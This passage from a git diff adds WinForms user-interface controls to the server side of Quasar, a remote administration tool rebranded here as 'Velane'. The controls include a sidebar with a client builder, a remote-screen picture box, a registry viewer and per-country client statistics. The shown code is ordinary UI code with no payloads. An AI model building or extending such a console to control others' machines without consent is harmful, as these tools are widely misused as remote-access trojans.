= _editor.HexTableLength; + HandleArrowKeys(index, e.Shift); + } + else + { + Point position = new Point(_editor.CaretPosX, _editor.CaretPosY + _recStringView.Height); + + if (e.Shift) + _editor.SetCaretEnd(index, position); + else + _editor.SetCaretStart(index, position); + } + } + else if (e.KeyCode == Keys.Left && (_editor.CaretIndex - 1) >= 0) + { + int index = _editor.CaretIndex - 1; + HandleArrowKeys(index, e.Shift); + } + else if (e.KeyCode == Keys.Right && (_editor.CaretIndex + 1) <= _editor.LastVisibleByte) + { + int index = _editor.CaretIndex + 1; + HandleArrowKeys(index, e.Shift); + } + } + + public void HandleArrowKeys(int index, bool isShiftDown) + { + Point newLocation = GetCaretLocation(index); + if (isShiftDown) + _editor.SetCaretEnd(index, newLocation); + else + _editor.SetCaretStart(index, newLocation); + } + + #endregion + + #region Mouse + + public void OnMouseDown(int x, int y) + { + int iX = (x - _recStringView.X) / (int)_editor.CharSize.Width; + int iY = (y - _recStringView.Y) / _recStringView.Height; + + //Check that values are good + iX = iX > _editor.BytesPerLine ? _editor.BytesPerLine : iX; + iX = iX < 0 ? 0 : iX; + iY = iY > _editor.MaxBytesV ? _editor.MaxBytesV : iY; + iY = iY < 0 ? 0 : iY; + + //Make sure values are withing the given bounds + if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine <= iY) + { + //Check that column is not greater than max + if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine <= iX) + { + iX = (_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine; + } + iY = (_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine; + } + + //Get the smallest possible location (do not want to exceed the max) + int index = Math.Min(_editor.LastVisibleByte, _editor.FirstVisibleByte + iX + iY * _editor.BytesPerLine); + + int xPos = (iX * (int)_editor.CharSize.Width) + _recStringView.X; + int yPos = (iY * _recStringView.Height) + _recStringView.Y; + + _editor.SetCaretStart(index, new Point(xPos, yPos)); + } + + public void OnMouseDragged(int x, int y) + { + int iX = (x - _recStringView.X) / (int)_editor.CharSize.Width; + int iY = (y - _recStringView.Y) / _recStringView.Height; + + //Check that values are good + iX = iX > _editor.BytesPerLine ? _editor.BytesPerLine : iX; + iX = iX < 0 ? 0 : iX; + iY = iY > _editor.MaxBytesV ? _editor.MaxBytesV : iY; + + if (_editor.FirstVisibleByte > 0) + { + iY = iY < 0 ? -1 : iY; + } + else + { + iY = iY < 0 ? 0 : iY; + } + + //Make sure values are withing the given bounds + if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine <= iY) + { + //Check that column is not greater than max + if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine <= iX) + { + iX = (_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine; + } + iY = (_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine; + } + + //Get the smallest possible location (do not want to exceed the max) + int index = Math.Min(_editor.LastVisibleByte, _editor.FirstVisibleByte + iX + iY * _editor.BytesPerLine); + + int xPos = (iX * (int)_editor.CharSize.Width) + _recStringView.X; + int yPos = (iY * _recStringView.Height) + _recStringView.Y; + + _editor.SetCaretEnd(index, new Point(xPos, yPos)); + } + + public void OnMouseDoubleClick() + { + if (_editor.CaretIndex < _editor.LastVisibleByte) + { + int index = _editor.CaretIndex + 1; + Point newLocation = GetCaretLocation(index); + _editor.SetCaretEnd(index, newLocation); + } + } + + #endregion + + #region Focus + + public void Focus() + { + int index = _editor.CaretIndex; + Point location = GetCaretLocation(index); + _editor.SetCaretStart(index, location); + } + + #endregion + + #endregion + + #region Paint + + public void Update(int startPositionX, Rectangle area) + { + _recStringView = new Rectangle( + startPositionX, + area.Y, + (int)(_editor.CharSize.Width * _editor.BytesPerLine), + (int)(_editor.CharSize.Height) - 2 + ); + + _recStringView.X += _editor.EntityMargin; + } + + public void Paint(Graphics g, int index, int startIndex) + { + Point columnAndRow = GetByteColumnAndRow(index); + + if (_editor.IsSelected(index + startIndex)) + { + PaintByteAsSelected(g, columnAndRow, (index + startIndex)); + } + else + { + PaintByte(g, columnAndRow, (index + startIndex)); + } + } + + private void PaintByteAsSelected(Graphics g, Point point, int index) + { + SolidBrush backBrush = new SolidBrush(_editor.SelectionBackColor); + SolidBrush textBrush = new SolidBrush(_editor.SelectionForeColor); + RectangleF drawSurface = GetBound(point); + char value = _editor.GetByteAsChar(index); + string strValue = (Char.IsControl(value) ? "." : value.ToString()); + + g.FillRectangle(backBrush, drawSurface); + g.DrawString(strValue, _editor.Font, textBrush, drawSurface, _stringFormat); + } + + private void PaintByte(Graphics g, Point point, int index) + { + SolidBrush brush = new SolidBrush(_editor.ForeColor); + RectangleF drawLocation = GetBound(point); + char value = _editor.GetByteAsChar(index); + string strValue = (Char.IsControl(value) ? "." : value.ToString()); + + g.DrawString(strValue, _editor.Font, brush, drawLocation, _stringFormat); + } + + #endregion + + #region Caret + + /// + /// Get the caret current location + /// in the given bound. + /// + private Point GetCaretLocation(int index) + { + int xPos = _recStringView.X + ((int)_editor.CharSize.Width * (index % _editor.BytesPerLine)); + int yPos = _recStringView.Y + ((int)_recStringView.Height * ((index - (_editor.FirstVisibleByte + index % _editor.BytesPerLine)) / _editor.BytesPerLine)); + + Point ret = new Point(xPos, yPos); + return ret; + } + + #endregion + + #region Misc + + private void HandleUserRemove() + { + //Calculate where to position the caret after the removal + int index = _editor.SelectionStart; + Point position = GetCaretLocation(index); + //Remove all of the selected bytes + _editor.RemoveSelectedBytes(); + + //Set the new position of the caret + _editor.SetCaretStart(index, position); + } + + private void HandleUserInput(char key) + { + if (!_editor.CaretFocused) + return; + + HandleUserRemove(); + + byte newByte = Convert.ToByte(key); + + if (_editor.HexTableLength <= 0) + _editor.AppendByte(newByte); + else + _editor.InsertByte(_editor.CaretIndex, newByte); + + int index = _editor.CaretIndex + 1; + Point newLocation = GetCaretLocation(index); + _editor.SetCaretStart(index, newLocation); + } + + private Point GetByteColumnAndRow(int index) + { + int column = index % _editor.BytesPerLine; + int row = index / _editor.BytesPerLine; + + Point ret = new Point(column, row); + return ret; + } + + private RectangleF GetBound(Point point) + { + RectangleF ret = new RectangleF( + _recStringView.X + (point.X * (int)_editor.CharSize.Width), + _recStringView.Y + (point.Y * _recStringView.Height), + _editor.CharSize.Width, + _recStringView.Height + ); + + return ret; + } + + #endregion + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Controls/InputBox.cs b/Quasar-1.4.1/Quasar.Server/Controls/InputBox.cs new file mode 100755 index 0000000..08df5b4 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Controls/InputBox.cs @@ -0,0 +1,54 @@ +using System; +using System.Drawing; +using System.Windows.Forms; + +namespace Quasar.Server.Controls +{ + public static class InputBox + { + public static DialogResult Show(string title, string promptText, ref string value) + { + DialogResult dialogResult = DialogResult.Cancel; + using (var form = new Form()) + { + Label label = new Label(); + TextBox textBox = new TextBox(); + Button buttonOk = new Button(); + Button buttonCancel = new Button(); + + form.Text = title; + label.Text = promptText; + textBox.Text = value; + + buttonOk.Text = "OK"; + buttonCancel.Text = "Cancel"; + buttonOk.DialogResult = DialogResult.OK; + buttonCancel.DialogResult = DialogResult.Cancel; + + label.SetBounds(9, 20, 372, 13); + textBox.SetBounds(12, 36, 372, 20); + buttonOk.SetBounds(228, 72, 75, 23); + buttonCancel.SetBounds(309, 72, 75, 23); + + label.AutoSize = true; + textBox.Anchor = textBox.Anchor | AnchorStyles.Right; + buttonOk.Anchor = AnchorStyles.Bottom | AnchorStyles.Right; + buttonCancel.Anchor = AnchorStyles.Bottom | AnchorStyles.Right; + + form.ClientSize = new Size(396, 107); + form.Controls.AddRange(new Control[] {label, textBox, buttonOk, buttonCancel}); + form.ClientSize = new Size(Math.Max(300, label.Right + 10), form.ClientSize.Height); + form.FormBorderStyle = FormBorderStyle.FixedDialog; + form.StartPosition = FormStartPosition.CenterScreen; + form.MinimizeBox = false; + form.MaximizeBox = false; + form.AcceptButton = buttonOk; + form.CancelButton = buttonCancel; + + dialogResult = form.ShowDialog(); + value = textBox.Text; + } + return dialogResult; + } + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Controls/Line.cs b/Quasar-1.4.1/Quasar.Server/Controls/Line.cs new file mode 100755 index 0000000..28aefa6 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Controls/Line.cs @@ -0,0 +1,28 @@ +using System.Drawing; +using System.Windows.Forms; + +namespace Quasar.Server.Controls +{ + public class Line : Control + { + public enum Alignment + { + Horizontal, + Vertical + } + + public Alignment LineAlignment { get; set; } + + public Line() + { + this.TabStop = false; + } + + protected override void OnPaint(PaintEventArgs e) + { + base.OnPaint(e); + e.Graphics.DrawLine(new Pen(new SolidBrush(Color.LightGray)), new Point(5, 5), + LineAlignment == Alignment.Horizontal ? new Point(500, 5) : new Point(5, 500)); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Controls/ListViewEx.cs b/Quasar-1.4.1/Quasar.Server/Controls/ListViewEx.cs new file mode 100755 index 0000000..eee93fc --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Controls/ListViewEx.cs @@ -0,0 +1,257 @@ +using Quasar.Common.Helpers; +using Quasar.Server.Helper; +using Quasar.Server.Utilities; +using System; +using System.Drawing; +using System.Runtime.InteropServices; +using System.Windows.Forms; + +namespace Quasar.Server.Controls +{ + internal class AeroListView : ListView + { + private const uint WM_CHANGEUISTATE = 0x127; + private const int WM_PAINT = 0x000F; + private const int WM_ERASEBKGND = 0x0014; + + private const short UIS_SET = 1; + private const short UISF_HIDEFOCUS = 0x1; + private readonly IntPtr _removeDots = new IntPtr(NativeMethodsHelper.MakeWin32Long(UIS_SET, UISF_HIDEFOCUS)); + + public ListViewColumnSorter LvwColumnSorter { get; set; } + + [DllImport("user32.dll")] + private static extern IntPtr GetWindow(IntPtr hWnd, uint uCmd); + + [DllImport("user32.dll", CharSet = CharSet.Auto)] + private static extern IntPtr SendMessage(IntPtr hWnd, int msg, IntPtr wParam, IntPtr lParam); + + private const uint GW_CHILD = 5; + private const int HDM_FIRST = 0x1200; + private const int HDM_LAYOUT = HDM_FIRST + 5; + + /// + /// Initializes a new instance of the class. + /// + public AeroListView() + { + SetStyle(ControlStyles.OptimizedDoubleBuffer | ControlStyles.AllPaintingInWmPaint, true); + this.LvwColumnSorter = new ListViewColumnSorter(); + this.ListViewItemSorter = LvwColumnSorter; + this.View = View.Details; + this.FullRowSelect = true; + this.OwnerDraw = false; // Will be set in OnHandleCreated if dark mode is enabled + } + + /// + /// Enables dark mode drawing for this ListView + /// + public void EnableDarkMode() + { + if (this.OwnerDraw) return; // Already enabled + + this.OwnerDraw = true; + this.GridLines = false; // Remove gridlines + this.DrawItem += AeroListView_DrawItem; + this.DrawSubItem += AeroListView_DrawSubItem; + this.DrawColumnHeader += AeroListView_DrawColumnHeader; + this.BackColor = Color.FromArgb(37, 37, 38); + this.ForeColor = Color.White; + this.Invalidate(); + } + + private void AeroListView_DrawColumnHeader(object sender, DrawListViewColumnHeaderEventArgs e) + { + Color darkBg = Color.FromArgb(45, 45, 48); + Color darkFg = Color.White; + Color darkBorder = Color.FromArgb(63, 63, 70); + + e.Graphics.FillRectangle(new SolidBrush(darkBg), e.Bounds); + + using (Pen pen = new Pen(darkBorder)) + { + e.Graphics.DrawRectangle(pen, e.Bounds.X, e.Bounds.Y, e.Bounds.Width - 1, e.Bounds.Height - 1); + } + + TextRenderer.DrawText(e.Graphics, e.Header.Text, this.Font, e.Bounds, darkFg, + TextFormatFlags.Left | TextFormatFlags.VerticalCenter | TextFormatFlags.EndEllipsis); + } + + private void AeroListView_DrawItem(object sender, DrawListViewItemEventArgs e) + { + e.DrawDefault = false; + } + + private void AeroListView_DrawSubItem(object sender, DrawListViewSubItemEventArgs e) + { + Color darkBg = Color.FromArgb(45, 45, 48); + Color darkControlBg = Color.FromArgb(37, 37, 38); + Color darkFg = Color.White; + Color darkHighlight = Color.FromArgb(62, 62, 64); + + Color backColor; + Color foreColor = darkFg; + + if (e.Item.Selected) + { + backColor = darkHighlight; + foreColor = Color.White; + } + else + { + backColor = darkControlBg; + + // Preserve custom colors like red text + if (e.Item.ForeColor != Color.Empty && + e.Item.ForeColor != SystemColors.WindowText && + e.Item.ForeColor != Color.Black && + e.Item.ForeColor != darkFg) + { + foreColor = e.Item.ForeColor; + } + else if (e.SubItem.ForeColor != Color.Empty && + e.SubItem.ForeColor != SystemColors.WindowText && + e.SubItem.ForeColor != Color.Black && + e.SubItem.ForeColor != darkFg) + { + foreColor = e.SubItem.ForeColor; + } + } + + using (SolidBrush brush = new SolidBrush(backColor)) + { + e.Graphics.FillRectangle(brush, e.Bounds); + } + + if (!string.IsNullOrEmpty(e.SubItem.Text)) + { + TextRenderer.DrawText(e.Graphics, e.SubItem.Text, e.Item.Font, e.Bounds, foreColor, + TextFormatFlags.Left | TextFormatFlags.VerticalCenter | TextFormatFlags.EndEllipsis | TextFormatFlags.NoPrefix); + } + } + + /// + /// Raises the event. + /// + /// The instance containing the event data. + protected override void OnHandleCreated(EventArgs e) + { + base.OnHandleCreated(e); + + if (PlatformHelper.RunningOnMono) return; + + if (PlatformHelper.VistaOrHigher) + { + // set window theme to explorer (unless dark mode is enabled) + if (!ThemeManager.DarkModeEnabled) + { + NativeMethods.SetWindowTheme(this.Handle, "explorer", null); + } + } + + if (PlatformHelper.XpOrHigher) + { + // removes the ugly dotted line around focused item + NativeMethods.SendMessage(this.Handle, WM_CHANGEUISTATE, _removeDots, IntPtr.Zero); + } + + // Apply dark mode header styling if enabled + if (ThemeManager.DarkModeEnabled) + { + ApplyDarkModeHeader(); + } + } + + private void ApplyDarkModeHeader() + { + try + { + // Get the header control handle + IntPtr headerHandle = GetWindow(this.Handle, GW_CHILD); + if (headerHandle != IntPtr.Zero) + { + // Set dark theme for header + NativeMethods.SetWindowTheme(headerHandle, "DarkMode_Explorer", null); + } + } + catch + { + // Silently fail if header styling doesn't work + } + } + + protected override void WndProc(ref Message m) + { + base.WndProc(ref m); + + // Custom paint the header in dark mode + if (ThemeManager.DarkModeEnabled && m.Msg == WM_PAINT) + { + PaintDarkHeader(); + } + } + + private void PaintDarkHeader() + { + try + { + IntPtr headerHandle = GetWindow(this.Handle, GW_CHILD); + if (headerHandle != IntPtr.Zero) + { + using (Graphics g = Graphics.FromHwnd(headerHandle)) + { + Rectangle headerRect = new Rectangle(0, 0, this.Width, 20); + using (SolidBrush brush = new SolidBrush(Color.FromArgb(45, 45, 48))) + { + g.FillRectangle(brush, headerRect); + } + + int x = 0; + using (SolidBrush textBrush = new SolidBrush(Color.White)) + using (StringFormat sf = new StringFormat { LineAlignment = StringAlignment.Center }) + { + foreach (ColumnHeader column in this.Columns) + { + Rectangle colRect = new Rectangle(x, 0, column.Width, 20); + g.DrawString(column.Text, this.Font, textBrush, colRect, sf); + x += column.Width; + } + } + } + } + } + catch + { + // Silently fail + } + } + + /// + /// Raises the event. + /// + /// The instance containing the event data. + protected override void OnColumnClick(ColumnClickEventArgs e) + { + base.OnColumnClick(e); + + // Determine if clicked column is already the column that is being sorted. + if (e.Column == this.LvwColumnSorter.SortColumn) + { + // Reverse the current sort direction for this column. + this.LvwColumnSorter.Order = (this.LvwColumnSorter.Order == SortOrder.Ascending) + ? SortOrder.Descending + : SortOrder.Ascending; + } + else + { + // Set the column number that is to be sorted; default to ascending. + this.LvwColumnSorter.SortColumn = e.Column; + this.LvwColumnSorter.Order = SortOrder.Ascending; + } + + // Perform the sort with these new sort options. + if (!this.VirtualMode) + this.Sort(); + } + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Controls/ModernSidebar.cs b/Quasar-1.4.1/Quasar.Server/Controls/ModernSidebar.cs new file mode 100755 index 0000000..37e355e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Controls/ModernSidebar.cs @@ -0,0 +1,167 @@ +using System; +using System.Drawing; +using System.Windows.Forms; + +namespace Quasar.Server.Controls +{ + public class ModernSidebar : Panel + { + public event EventHandler ClientsClicked; + public event EventHandler SettingsClicked; + public event EventHandler BuilderClicked; + public event EventHandler NotificationCentreClicked; + public event EventHandler GraphViewClicked; + public event EventHandler AutoTasksClicked; + public event EventHandler AboutClicked; + + private Button btnClients; + private Button btnSettings; + private Button btnBuilder; + private Button btnNotificationCentre; + private Button btnGraphView; + private Button btnAutoTasks; + private Button btnAbout; + private Label lblTitle; + private Panel pnlLogo; + + public ModernSidebar() + { + InitializeComponent(); + } + + private void InitializeComponent() + { + this.Width = 180; + this.BackColor = Color.FromArgb(15, 15, 15); + this.Dock = DockStyle.Left; + + // Logo/Title area + pnlLogo = new Panel + { + Height = 60, + Dock = DockStyle.Top, + BackColor = Color.FromArgb(15, 15, 15) + }; + + lblTitle = new Label + { + Text = "Velane", + Font = new Font("Segoe UI", 16, FontStyle.Bold), + ForeColor = Color.FromArgb(0, 188, 212), + AutoSize = false, + TextAlign = ContentAlignment.MiddleLeft, + Dock = DockStyle.Fill, + Padding = new Padding(20, 0, 0, 0) + }; + + pnlLogo.Controls.Add(lblTitle); + this.Controls.Add(pnlLogo); + + // Navigation buttons + int yPos = 70; + btnClients = CreateNavButton("Clients", yPos); + btnClients.Click += (s, e) => ClientsClicked?.Invoke(this, EventArgs.Empty); + yPos += 45; + + btnSettings = CreateNavButton("Settings", yPos); + btnSettings.Click += (s, e) => SettingsClicked?.Invoke(this, EventArgs.Empty); + yPos += 45; + + btnBuilder = CreateNavButton("Builder", yPos); + btnBuilder.Click += (s, e) => BuilderClicked?.Invoke(this, EventArgs.Empty); + yPos += 45; + + btnNotificationCentre = CreateNavButton("Notification Centre", yPos); + btnNotificationCentre.Click += (s, e) => NotificationCentreClicked?.Invoke(this, EventArgs.Empty); + yPos += 45; + + btnGraphView = CreateNavButton("Graph View", yPos); + btnGraphView.Click += (s, e) => GraphViewClicked?.Invoke(this, EventArgs.Empty); + yPos += 45; + + btnAutoTasks = CreateNavButton("Auto Tasks", yPos); + btnAutoTasks.Click += (s, e) => AutoTasksClicked?.Invoke(this, EventArgs.Empty); + yPos += 45; + + // About at bottom + btnAbout = CreateNavButton("About", 0); + btnAbout.Dock = DockStyle.Bottom; + btnAbout.Click += (s, e) => AboutClicked?.Invoke(this, EventArgs.Empty); + + this.Controls.Add(btnClients); + this.Controls.Add(btnSettings); + this.Controls.Add(btnBuilder); + this.Controls.Add(btnNotificationCentre); + this.Controls.Add(btnGraphView); + this.Controls.Add(btnAutoTasks); + this.Controls.Add(btnAbout); + + // Set Clients as selected by default + SetSelectedButton(btnClients); + } + + private Button CreateNavButton(string text, int yPos) + { + var btn = new Button + { + Text = text, + Width = 180, + Height = 40, + Left = 0, + Top = yPos, + FlatStyle = FlatStyle.Flat, + BackColor = Color.FromArgb(15, 15, 15), + ForeColor = Color.FromArgb(180, 180, 180), + Font = new Font("Segoe UI", 10), + TextAlign = ContentAlignment.MiddleLeft, + Padding = new Padding(20, 0, 0, 0), + Cursor = Cursors.Hand + }; + + btn.FlatAppearance.BorderSize = 0; + btn.FlatAppearance.MouseOverBackColor = Color.FromArgb(25, 25, 25); + btn.FlatAppearance.MouseDownBackColor = Color.FromArgb(30, 30, 30); + + btn.MouseEnter += (s, e) => + { + if (btn.BackColor != Color.FromArgb(0, 188, 212)) + btn.BackColor = Color.FromArgb(25, 25, 25); + }; + + btn.MouseLeave += (s, e) => + { + if (btn.BackColor != Color.FromArgb(0, 188, 212)) + btn.BackColor = Color.FromArgb(15, 15, 15); + }; + + btn.Click += (s, e) => SetSelectedButton(btn); + + return btn; + } + + private void SetSelectedButton(Button selectedBtn) + { + // Reset all buttons + foreach (Control ctrl in this.Controls) + { + if (ctrl is Button btn && btn != selectedBtn) + { + btn.BackColor = Color.FromArgb(15, 15, 15); + btn.ForeColor = Color.FromArgb(180, 180, 180); + } + } + + // Highlight selected + selectedBtn.BackColor = Color.FromArgb(0, 188, 212); + selectedBtn.ForeColor = Color.White; + } + + public void SelectClients() => SetSelectedButton(btnClients); + public void SelectSettings() => SetSelectedButton(btnSettings); + public void SelectBuilder() => SetSelectedButton(btnBuilder); + public void SelectNotificationCentre() => SetSelectedButton(btnNotificationCentre); + public void SelectGraphView() => SetSelectedButton(btnGraphView); + public void SelectAutoTasks() => SetSelectedButton(btnAutoTasks); + public void SelectAbout() => SetSelectedButton(btnAbout); + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Controls/RapidPictureBox.cs b/Quasar-1.4.1/Quasar.Server/Controls/RapidPictureBox.cs new file mode 100755 index 0000000..8d05896 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Controls/RapidPictureBox.cs @@ -0,0 +1,189 @@ +using System; +using System.Diagnostics; +using System.Drawing; +using System.Windows.Forms; +using Quasar.Server.Utilities; + +namespace Quasar.Server.Controls +{ + public interface IRapidPictureBox + { + bool Running { get; set; } + Image GetImageSafe { get; set; } + + void Start(); + void Stop(); + void UpdateImage(Bitmap bmp, bool cloneBitmap = false); + } + + /// + /// Custom PictureBox Control designed for rapidly-changing images. + /// + public class RapidPictureBox : PictureBox, IRapidPictureBox + { + /// + /// True if the PictureBox is currently streaming images, else False. + /// + public bool Running { get; set; } + + /// + /// Returns the width of the original screen. + /// + public int ScreenWidth { get; private set; } + + /// + /// Returns the height of the original screen. + /// + public int ScreenHeight { get; private set; } + + /// + /// Provides thread-safe access to the Image of this Picturebox. + /// + public Image GetImageSafe + { + get + { + return Image; + } + set + { + lock (_imageLock) + { + Image = value; + } + } + } + + /// + /// The lock object for the Picturebox's image. + /// + private readonly object _imageLock = new object(); + + /// + /// The Stopwatch for internal FPS measuring. + /// + private Stopwatch _sWatch; + + /// + /// The internal class for FPS measuring. + /// + private FrameCounter _frameCounter; + + /// + /// Subscribes an Eventhandler to the FrameUpdated event. + /// + /// The Eventhandler to set. + public void SetFrameUpdatedEvent(FrameUpdatedEventHandler e) + { + _frameCounter.FrameUpdated += e; + } + + /// + /// Unsubscribes an Eventhandler from the FrameUpdated event. + /// + /// The Eventhandler to remove. + public void UnsetFrameUpdatedEvent(FrameUpdatedEventHandler e) + { + _frameCounter.FrameUpdated -= e; + } + + /// + /// Starts the internal FPS measuring. + /// + public void Start() + { + _frameCounter = new FrameCounter(); + + _sWatch = Stopwatch.StartNew(); + + Running = true; + } + + /// + /// Stops the internal FPS measuring. + /// + public void Stop() + { + _sWatch?.Stop(); + + Running = false; + } + + /// + /// Updates the Image of this Picturebox. + /// + /// The new bitmap to use. + /// If True the bitmap will be cloned, else it uses the original bitmap. + public void UpdateImage(Bitmap bmp, bool cloneBitmap) + { + try + { + CountFps(); + + if ((ScreenWidth != bmp.Width) && (ScreenHeight != bmp.Height)) + UpdateScreenSize(bmp.Width, bmp.Height); + + lock (_imageLock) + { + // get old image to dispose it correctly + var oldImage = GetImageSafe; + + SuspendLayout(); + GetImageSafe = cloneBitmap ? new Bitmap(bmp, Width, Height) /*resize bitmap*/ : bmp; + ResumeLayout(); + + oldImage?.Dispose(); + } + } + catch (InvalidOperationException) + { + } + catch (Exception) + { + } + } + + /// + /// Constructor, sets Picturebox double-buffered and initializes the Framecounter. + /// + public RapidPictureBox() + { + this.SetStyle(ControlStyles.UserPaint | ControlStyles.AllPaintingInWmPaint | ControlStyles.OptimizedDoubleBuffer, true); + } + + protected override CreateParams CreateParams + { + get + { + CreateParams cp = base.CreateParams; + cp.ExStyle |= 0x02000000; // Turn on WS_EX_COMPOSITED + return cp; + } + } + + protected override void OnPaint(PaintEventArgs pe) + { + lock (_imageLock) + { + if (GetImageSafe != null) + { + pe.Graphics.DrawImage(GetImageSafe, Location); + } + } + } + + private void UpdateScreenSize(int newWidth, int newHeight) + { + ScreenWidth = newWidth; + ScreenHeight = newHeight; + } + + private void CountFps() + { + var deltaTime = (float)_sWatch.Elapsed.TotalSeconds; + _sWatch = Stopwatch.StartNew(); + + _frameCounter.Update(deltaTime); + } + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Controls/RegistryTreeView.cs b/Quasar-1.4.1/Quasar.Server/Controls/RegistryTreeView.cs new file mode 100755 index 0000000..13aabd0 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Controls/RegistryTreeView.cs @@ -0,0 +1,13 @@ +using System.Windows.Forms; + +namespace Quasar.Server.Controls +{ + public class RegistryTreeView : TreeView + { + public RegistryTreeView() + { + //Enable double buffering and ignore WM_ERASEBKGND to reduce flicker + SetStyle(ControlStyles.OptimizedDoubleBuffer | ControlStyles.AllPaintingInWmPaint, true); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Controls/RegistryValueLstItem.cs b/Quasar-1.4.1/Quasar.Server/Controls/RegistryValueLstItem.cs new file mode 100755 index 0000000..050c133 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Controls/RegistryValueLstItem.cs @@ -0,0 +1,72 @@ +using System.Windows.Forms; +using Quasar.Common.Models; +using Quasar.Server.Extensions; +using Quasar.Server.Registry; + +namespace Quasar.Server.Controls +{ + public class RegistryValueLstItem : ListViewItem + { + private string _type { get; set; } + private string _data { get; set; } + + public string RegName { + get { return this.Name; } + set + { + this.Name = value; + this.Text = RegValueHelper.GetName(value); + } + } + public string Type { + get { return _type; } + set + { + _type = value; + + if (this.SubItems.Count < 2) + this.SubItems.Add(_type); + else + this.SubItems[1].Text = _type; + + this.ImageIndex = GetRegistryValueImgIndex(_type); + } + } + + public string Data { + get { return _data; } + set + { + _data = value; + + if (this.SubItems.Count < 3) + this.SubItems.Add(_data); + else + this.SubItems[2].Text = _data; + } + } + + public RegistryValueLstItem(RegValueData value) + { + RegName = value.Name; + Type = value.Kind.RegistryTypeToString(); + Data = RegValueHelper.RegistryValueToString(value); + } + + private int GetRegistryValueImgIndex(string type) + { + switch (type) + { + case "REG_MULTI_SZ": + case "REG_SZ": + case "REG_EXPAND_SZ": + return 0; + case "REG_BINARY": + case "REG_DWORD": + case "REG_QWORD": + default: + return 1; + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Controls/StatisticsPanel.Designer.cs b/Quasar-1.4.1/Quasar.Server/Controls/StatisticsPanel.Designer.cs new file mode 100755 index 0000000..adf06f5 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Controls/StatisticsPanel.Designer.cs @@ -0,0 +1,325 @@ +using System.Windows.Forms.DataVisualization.Charting; + +namespace Quasar.Server.Controls +{ + partial class StatisticsPanel + { + private System.ComponentModel.IContainer components = null; + + private void InitializeComponent() + { + System.Windows.Forms.DataVisualization.Charting.ChartArea chartArea1 = new System.Windows.Forms.DataVisualization.Charting.ChartArea(); + System.Windows.Forms.DataVisualization.Charting.Legend legend1 = new System.Windows.Forms.DataVisualization.Charting.Legend(); + this.panelTop = new System.Windows.Forms.Panel(); + this.btnRefresh = new System.Windows.Forms.Button(); + this.lblCountriesValue = new System.Windows.Forms.Label(); + this.lblCountries = new System.Windows.Forms.Label(); + this.lblOnlineValue = new System.Windows.Forms.Label(); + this.lblOnline = new System.Windows.Forms.Label(); + this.lblTotalValue = new System.Windows.Forms.Label(); + this.lblTotal = new System.Windows.Forms.Label(); + this.lblTitle = new System.Windows.Forms.Label(); + this.panelMain = new System.Windows.Forms.Panel(); + this.splitContainer = new System.Windows.Forms.SplitContainer(); + this.groupCountries = new System.Windows.Forms.GroupBox(); + this.lvCountries = new System.Windows.Forms.ListView(); + this.colCountry = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.colClients = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.colPercentage = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.groupOS = new System.Windows.Forms.GroupBox(); + this.chartOS = new System.Windows.Forms.DataVisualization.Charting.Chart(); + this.panelTop.SuspendLayout(); + this.panelMain.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer)).BeginInit(); + this.splitContainer.Panel1.SuspendLayout(); + this.splitContainer.Panel2.SuspendLayout(); + this.splitContainer.SuspendLayout(); + this.groupCountries.SuspendLayout(); + this.groupOS.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.chartOS)).BeginInit(); + this.SuspendLayout(); + // + // panelTop + // + this.panelTop.BackColor = System.Drawing.Color.FromArgb(32, 32, 36); + this.panelTop.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.panelTop.Controls.Add(this.btnRefresh); + this.panelTop.Controls.Add(this.lblCountriesValue); + this.panelTop.Controls.Add(this.lblCountries); + this.panelTop.Controls.Add(this.lblOnlineValue); + this.panelTop.Controls.Add(this.lblOnline); + this.panelTop.Controls.Add(this.lblTotalValue); + this.panelTop.Controls.Add(this.lblTotal); + this.panelTop.Controls.Add(this.lblTitle); + this.panelTop.Dock = System.Windows.Forms.DockStyle.Top; + this.panelTop.ForeColor = System.Drawing.Color.White; + this.panelTop.Location = new System.Drawing.Point(0, 0); + this.panelTop.Margin = new System.Windows.Forms.Padding(4); + this.panelTop.Name = "panelTop"; + this.panelTop.Size = new System.Drawing.Size(1333, 86); + this.panelTop.TabIndex = 0; + // + // btnRefresh + // + this.btnRefresh.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnRefresh.BackColor = System.Drawing.Color.Transparent; + this.btnRefresh.FlatStyle = System.Windows.Forms.FlatStyle.System; + this.btnRefresh.Location = new System.Drawing.Point(1187, 25); + this.btnRefresh.Margin = new System.Windows.Forms.Padding(4); + this.btnRefresh.Name = "btnRefresh"; + this.btnRefresh.Size = new 